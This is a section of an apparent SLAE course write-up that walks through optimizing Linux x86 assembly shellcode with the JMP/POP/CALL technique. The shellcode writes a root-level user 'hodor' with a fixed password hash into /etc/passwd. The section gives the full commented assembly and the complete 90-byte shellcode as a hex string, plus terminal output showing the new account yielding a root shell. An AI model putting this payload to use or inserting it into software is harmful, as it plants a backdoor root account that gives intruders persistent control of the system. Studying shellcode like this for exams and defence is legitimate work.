5.B.2. Optimizing and running ASM

Now we found out the large messy area of opcodes if actually a string being used for “write” syscall, it isn’t very pleasing to read without any comments.

I’ve commented the ASM file to make it somewhat more clear. Still, it isn’t pretty and since we’re still busy in assembly: we’re going to try and use another method: JMP/POP/CALL, by popping the string for /etc/passwd in the correct register, instead of messy opcodes.

JMP/POP/CALL

...<SNIP>...

; sys_write
xchg eax, ebx ; File Descriptor in EBX
jmp string

append:
; sys_write, continue
pop ecx
mov byte dl, len
push 0x4
pop eax
int 0x80

; sys_exit
push 0x1
pop eax
int 0x80

string:
call append
AppendString db "hodor:AzmuZrosBjRYU:0:0::/:/bin/sh" ; size 35
len: equ $-AppendString ; Variable for stringlength

Run

$ sudo ./asm_linx86_adduser_jmp-pop-call
$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
...<SNIP>...
postgres:x:116:125:PostgreSQL administrator,,,:/var/lib/postgresql:/bin/bash
hodor:AzmuZrosBjRYU:0:0::/:/bin/shvbox@study-slae:~/exam/assignment_5$
$ su hodor
Password:
# id
uid=0(root) gid=0(root) groups=0(root)
# 

Further optimizing ASM

We can try to adjust some calls in an attempt to create a smaller payload.
One of the interesting parts when doing manual analysis of assembly instructions, is sometimes registries get zeroed out unnessecary: why zeroing out, while already zero? Good question, so there are some unwanted instructions which we can mitigate.

One example, the registry EBX was already zero so no need to do that again:

mov ebx,esp ; Put string in EBX as flags argument for sys_open, as filepointer
; mov ecx, ebx ; Move the value from EBX in ECX for incrementing. ECX already NULL, no need to use
inc ecx ; Increment ECX, 0x0001

Other example, while manually debugging in GDB, I found out that the registry setting of EAX during sys_exit has a value near 0xffffffff.

Incrementing the value will “rollover” the counter, resetting it to 0x00000000 and beginning all over again. It’s like a mileage counter in an old car: if for e.g. 99999 has been reached, driving further for a mile wil reset the counter to 00000 and count on.
The value found in EAX right before doing a syscall for sys_exit was 0xfffffff7 and after the previous syscall of sys_write. Incrementing this value by 0x4 will reset the counter to 0x1, required for sys_exit to syscall.

 ; sys_exit
; void exit(int status);
; push 0x1 ; Exit 1
; pop eax ; Put in EAX for syscall
add eax, 0xa ; EAX was 0xfffffff7, increment by 0xa for rolling over to 0x1
int 0x80 ; Syscall

Recompile in C and check length

Having tinkering manually for some instructions, let’s see the length of the shellcode being displayed in the C compiled file.

Convert

$ ../convert_bin_sc.sh asm_linx86_adduser_jmp-pop-call
"\x31\xc9\x89\xcb\x6a\x46\x58\xcd\x80\x6a\x05\x58\x53\x68\x73\x73\x77\x64\x68\x2f\x2f\x70\x61\x68\x2f\x65\x74\x63\x89\xe3\x41\xb5\x04\xcd\x80\x93\xeb\x0d\x59\xb2\x22\x6a\x04\x58\xcd\x80\x83\xc0\x0a\xcd\x80\xe8\xee\xff\xff\xff\x68\x6f\x64\x6f\x72\x3a\x41\x7a\x6d\x75\x5a\x72\x6f\x73\x42\x6a\x52\x59\x55\x3a\x30\x3a\x30\x3a\x3a\x2f\x3a\x2f\x62\x69\x6e\x2f\x73\x68"

Copy/paste and compile

$ ../compile_c.sh asm_linx86_adduser_jmp-pop-call_c
[+] Compiling ...
[+] Done!

Run

$ ./asm_linx86_adduser_jmp-pop-call_c
Shellcode Length: 90

Not much, but still saving 2 bytes compared to the MSF generated shellcode of 92 bytes.